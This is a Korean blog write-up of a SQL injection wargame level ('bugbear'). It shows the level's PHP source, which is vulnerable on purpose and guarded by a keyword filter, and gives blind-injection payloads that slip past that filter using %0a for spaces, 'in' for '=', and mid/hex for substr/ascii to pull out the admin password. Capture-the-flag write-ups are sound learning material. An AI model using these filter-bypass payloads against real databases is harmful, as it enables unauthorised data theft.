본문 바로가기
war game/웹 워게임(los)

load of sql injection bugbear

by 강깅꽁 2016. 9. 14.
반응형

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=|or|and| |like|0x/i'$_GET[no])) exit("HeHe"); 
  
$query "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  
highlight_file(__FILE__); 
?>


소스코드분석

no에 거의 모든 것이 막혀 있다. substr,ascii,=, 공백,like, 0x 등



풀이

하지만 이것도 우회할 방법이 존재 한다.ws(공백)은 0x0a로 우회가 가능하다. 하지만 0x는 막혀 있기 떄문에 url인코딩 %로 한다. %는 url인코딩이고 0x는 16진수를 나타낸다.

비밀번호 길이 페이로드는

no=0||id%0ain%0a("admin")&&length(pw)in(8)%23 다음과 같이 하면 우회하여 알아내는 것ㅇㅣ가능하다.


비밀번호 알아내는 것은

no=0||id%0ain%0a("admin")&&hex(mid(pw,1,1))>35# 로 알아 낼 수 있다.


no몇번째가 admin인지는

no=2||id in ("admin")&&no in (2)구문을 통해 알아 볼 수 있다.